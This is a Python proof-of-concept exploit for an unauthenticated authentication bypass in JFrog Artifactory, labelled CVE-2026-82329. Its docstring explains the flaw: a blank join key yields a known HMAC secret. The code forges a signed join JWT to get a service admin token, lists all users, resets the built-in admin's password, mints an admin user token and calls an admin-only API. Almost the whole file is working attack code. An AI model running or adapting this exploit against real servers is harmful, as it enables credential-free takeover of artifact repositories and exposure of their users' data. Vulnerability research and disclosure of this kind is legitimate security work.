#!/usr/bin/env python3
"""CVE-2026-82329 PoC: unauthenticated authentication bypass in JFrog Artifactory.

Root cause (binary diff artifactory-jcr 7.146.36 -> 7.146.38, Access 7.176.27 -> 7.176.28):
In vulnerable Access builds the "additional join keys" cache contains an entry
for a BLANK join key (kid = sha256("")), because JoinKeyAccess.tryResolveJoinKeys()
splits the empty-by-default additional-join-keys config without filtering blank
entries (Try.isEmpty() does not test string emptiness) and JoinKeyHashPair
accepted blank keys. JoinKeyUtils.getSigningKey("") pkcs7-pads the empty key to
32 bytes of 0x20 - an attacker-known constant HMAC key.

The UNAUTHENTICATED endpoint POST /access/api/v1/registry/join
(RegistryNoAuthResource) verifies the submitted join JWT against every known
join key (including the blank one) and on match returns a never-expiring
service ADMIN token (ServiceTokenProviderImpl -> TokenSpec.scope("admin")).

Exploit chain (zero valid credentials):
  1. POST /access/api/v1/registry/join with HS256 JWT signed with 32 x 0x20
     -> service admin token (scope "admin").
  2. GET /access/api/v1/users with that token -> dump all users (Access admin).
  3. PUT /access/api/v1/users/admin -> reset the built-in admin password
     (account takeover of the real admin; artifactory_admin flag preserved).
  4. POST /access/api/v1/tokens {username: admin, scope: applied-permissions/admin}
     -> admin USER token accepted platform-wide.
  5. GET /artifactory/api/system/info with that token -> 200 (admin-only API).

Usage: exploit_join_bypass.py <base_url> <out_json>
Exit 0 = full admin takeover demonstrated. Exit 1 = attack failed/blocked.
"""
import base64
import hashlib
import hmac
import json
import sys
import time
import urllib.request
import urllib.error

BASE = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8082"
OUT = sys.argv[2] if len(sys.argv) > 2 else "/dev/stdout"

BLANK_KID = hashlib.sha256(b"").hexdigest()   # kid of the blank join key
SIGNING_KEY = b"\x20" * 32                    # pkcs7("", 32) - known HMAC key
NEW_ADMIN_PASSWORD = "Owned-CVE-2026-82329!"  # attacker-chosen password


def b64u(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()


def http(method, url, body=None, headers=None):
    req = urllib.request.Request(url, method=method,
                                 data=(body.encode() if isinstance(body, str) else body),
                                 headers=headers or {})
    try:
        with urllib.request.urlopen(req, timeout=30) as r:
            return r.status, dict(r.headers), r.read()
    except urllib.error.HTTPError as e:
        return e.code, dict(e.headers), e.read()


def log(msg):
    print(msg, file=sys.stderr, flush=True)


def main():
    run_id = str(int(time.time()))
    service_id = f"jfrt@cve202682329poc{run_id}"
    result = {"base": BASE, "blank_kid": BLANK_KID,
              "signing_key_hex": SIGNING_KEY.hex(), "steps": []}

    def record(step, st, body, extra=None):
        e = {"step": step, "status": st, "body": body.decode(errors="replace")[:2000]}
        if extra:
            e.update(extra)
        result["steps"].append(e)
        log(f"[{step}] HTTP {st}")

    # step 0 (control): unauthenticated token mint must fail
    st, _, b = http("POST", BASE + "/access/api/v1/tokens",
                    json.dumps({"username": "admin", "scope": "applied-permissions/admin"}),
                    {"Content-Type": "application/json"})
    record("control_anon_token_mint_must_401", st, b)

    # step 1: join with JWT signed by the blank-join-key HMAC secret
    hdr = {"alg": "HS256", "typ": "JWT"}
    pay = {"service_id": service_id, "node_id": "cve202682329node" + run_id,
           "skip_node_registration": True, "iat": int(time.time() * 1000)}
    si = b64u(json.dumps(hdr, separators=(",", ":")).encode()) + "." + \
         b64u(json.dumps(pay, separators=(",", ":")).encode())
    jwt = si + "." + b64u(hmac.new(SIGNING_KEY, si.encode(), hashlib.sha256).digest())
    result["join_jwt"] = jwt
    st, _, b = http("POST", BASE + "/access/api/v1/registry/join", jwt,
                    {"Content-Type": "text/plain", "User-Agent": "JFrogArtifactory/7.146.25"})
    record("join_blank_key_jwt", st, b)
    if st not in (200, 201):
        result["exploited"] = False
        result["blocked_at"] = "join"
        json.dump(result, open(OUT, "w"), indent=2)
        return 1
    svc_token = json.loads(b)["token"]
    claims = json.loads(base64.urlsafe_b64decode(svc_token.split(".")[1] + "=="))
    result["service_token_claims"] = claims
    log(f"  service admin token: sub={claims.get('sub')} scp={claims.get('scp')}")
    auth = {"Authorization": "Bearer " + svc_token, "Content-Type": "application/json"}

    # step 2: Access-admin read - list all users
    st, _, b = http("GET", BASE + "/access/api/v1/users", None, auth)
    record("access_list_users", st, b)
    users_ok = st == 200 and '"admin"' in b.decode(errors="replace")

    # step 3: reset the real admin password (preserve artifactory_admin flag)
    st, _, b = http("PUT", BASE + "/access/api/v1/users/admin",
                    json.dumps({"username": "admin", "password": NEW_ADMIN_PASSWORD,
                                "email": "admin@owned.invalid", "allowed_ips": ["*"],
                                "custom_data": {"updatable_profile": "true",
                                                "artifactory_admin": "true"}}), auth)
    record("reset_admin_password", st, b)
    reset_ok = st == 200

    # step 4: mint admin USER token for the platform
    st, _, b = http("POST", BASE + "/access/api/v1/tokens",
                    json.dumps({"username": "admin", "scope": "applied-permissions/admin"}),
                    auth)
    record("mint_admin_user_token", st, b)
    admin_token = None
    if st in (200, 201):
        admin_token = json.loads(b)["access_token"]
        cl = json.loads(base64.urlsafe_b64decode(admin_token.split(".")[1] + "=="))
        result["admin_user_token_claims"] = cl
        log(f"  admin user token: sub={cl.get('sub')} scp={cl.get('scp')} aud={cl.get('aud')}")

    # step 5: exercise admin-only Artifactory API with the minted admin token
    sysinfo_ok = False
    if admin_token:
        atok = {"Authorization": "Bearer " + admin_token}
        st, _, b = http("GET", BASE + "/artifactory/api/system/info", None, atok)
        record("artifactory_system_info_admin_only", st, b)
        sysinfo_ok = st == 200

    # step 6 (control): join with a WRONG signature must fail
    bad = jwt[:-4] + ("AAAA" if not jwt.endswith("AAAA") else "BBBB")
    st, _, b = http("POST", BASE + "/access/api/v1/registry/join", bad,
                    {"Content-Type": "text/plain"})
    record("control_join_wrong_signature_must_400", st, b)

    result["exploited"] = bool(users_ok and reset_ok and sysinfo_ok)
    json.dump(result, open(OUT, "w"), indent=2)
    log(f"exploited={result['exploited']} (users={users_ok} reset={reset_ok} sysinfo={sysinfo_ok})")
    return 0 if result["exploited"] else 1


if __name__ == "__main__":
    sys.exit(main())
